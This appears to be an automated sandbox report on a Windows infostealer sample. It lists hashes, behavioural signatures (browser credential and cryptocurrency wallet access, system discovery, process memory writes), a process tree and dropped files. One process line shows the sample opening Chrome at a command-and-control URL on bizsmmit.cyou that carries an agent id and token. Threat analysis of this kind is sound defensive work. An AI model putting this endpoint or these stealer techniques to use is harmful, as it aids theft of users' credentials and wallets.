Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
02/08/2026, 02:57
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe
Resource
win10v2004-20260513-en
11 signatures
150 seconds
General
- Target 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe
- Size 3.1MB
- Sample260802-dfnxeack2w
- SHA256 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af
- MD5 bbe2a405796a28d019fc4afa678f885c
- SHA1 c16deb3b7bb9af521311af838ab4bce7efa85eb6
- SHA512 ff4e8f137b6ddc72b100176f3ae37e1dedaecab0658d9dc7485ccf7b3b1849f3a4135b8972d6bc73c2861c9d9075ad5776bd9a1f7f9aadc13db1189fa219af5a
- SSDEEP 49152:rThY9MvthY5wMw0ZsE31FRovt50bQQa7qy:H8MvtKV31vozjQ9y
- TLSH T100E56B01FEC744F6D4072A3554EB62AF27396D450B39DA83EE043EB9EA772924C33649
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2036 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 400 chrome.exe 400 chrome.exe 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
pid Process 400 chrome.exe 400 chrome.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeShutdownPrivilege 400 chrome.exe Token: SeCreatePagefilePrivilege 400 chrome.exe Token: SeShutdownPrivilege 400 chrome.exe Token: SeCreatePagefilePrivilege 400 chrome.exe Token: SeShutdownPrivilege 400 chrome.exe Token: SeCreatePagefilePrivilege 400 chrome.exe Token: SeShutdownPrivilege 400 chrome.exe Token: SeCreatePagefilePrivilege 400 chrome.exe Token: SeShutdownPrivilege 400 chrome.exe Token: SeCreatePagefilePrivilege 400 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe 400 chrome.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 628 wrote to memory of 400 628 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 88 PID 400 wrote to memory of 2104 400 chrome.exe 89 PID 400 wrote to memory of 1340 400 chrome.exe 90 PID 400 wrote to memory of 1340 400 chrome.exe 90 PID 400 wrote to memory of 2036 400 chrome.exe 91 PID 400 wrote to memory of 4120 400 chrome.exe 92 PID 400 wrote to memory of 4120 400 chrome.exe 92 PID 400 wrote to memory of 4248 400 chrome.exe 93 PID 400 wrote to memory of 428 400 chrome.exe 94 PID 400 wrote to memory of 4248 400 chrome.exe 93 PID 400 wrote to memory of 428 400 chrome.exe 94 PID 400 wrote to memory of 4888 400 chrome.exe 96 PID 400 wrote to memory of 4888 400 chrome.exe 96
Processes
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C:\Users\Admin\AppData\Local\Temp\4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe"C:\Users\Admin\AppData\Local\Temp\4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" bizsmmit.cyou/api/set_agent?id=A0C2CB57BD24956701AEC7B30ADF174C&token=9f40af14eed44883290b42e5ef16be553bbdc3&description=&agent=Chrome2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:400 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe0692c728,0x7ffe0692c734,0x7ffe0692c7403⤵PID:2104
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1792,i,7486323719853446712,15812023150152742165,262144 --field-trial-handle=2032,i,14839035903533311171,18105520969898063415,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2028 /prefetch:23⤵PID:1340
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1640,i,8217262395193835609,1053011131914593103,524288 --field-trial-handle=2032,i,14839035903533311171,18105520969898063415,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2252 /prefetch:33⤵
- System Time Discovery
PID:2036
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2440,i,10740907214046870025,7011417156153232056,524288 --field-trial-handle=2032,i,14839035903533311171,18105520969898063415,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1984 /prefetch:83⤵PID:4120
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,1640609136239675619,5581100320262462781,2097152 --field-trial-handle=2032,i,14839035903533311171,18105520969898063415,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3208 /prefetch:13⤵PID:4248
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,6555201552075942867,17517348873389814755,2097152 --field-trial-handle=2032,i,14839035903533311171,18105520969898063415,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3228 /prefetch:13⤵PID:428
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3820,i,12227381343467581350,12468874466028294367,524288 --field-trial-handle=2032,i,14839035903533311171,18105520969898063415,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4456 /prefetch:83⤵PID:4888
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2984
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 d4d33c563950d90f2f542e1cd826b29b614a33f6bbbe4d6e224d24bd523f5fac
- MD5 d159080641cee94ec91b441ab3a63fd6
- SHA1 8a5bc318637000b77e3b39fc89afd63f241c63d3
- SHA512 0ddd93066de55f784a9435cc10cc34a6d510b11be82ebf18f303f85d4d88c0819f72fdda9e9ca188b626f8b6d70238d617c10c44c6b2d93e17d52d6f78e0364e
- SSDEEP 3072:IGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMm:jm7Rkm1tYpBeh2BAom
- TLSH T158C3123B5E70E9775979A74EB08E0B1F1EF14AA2D930DA42C8D85A0437FA7CC0A05934
- MD5 SHA1 SHA512 SSDEEP TLSH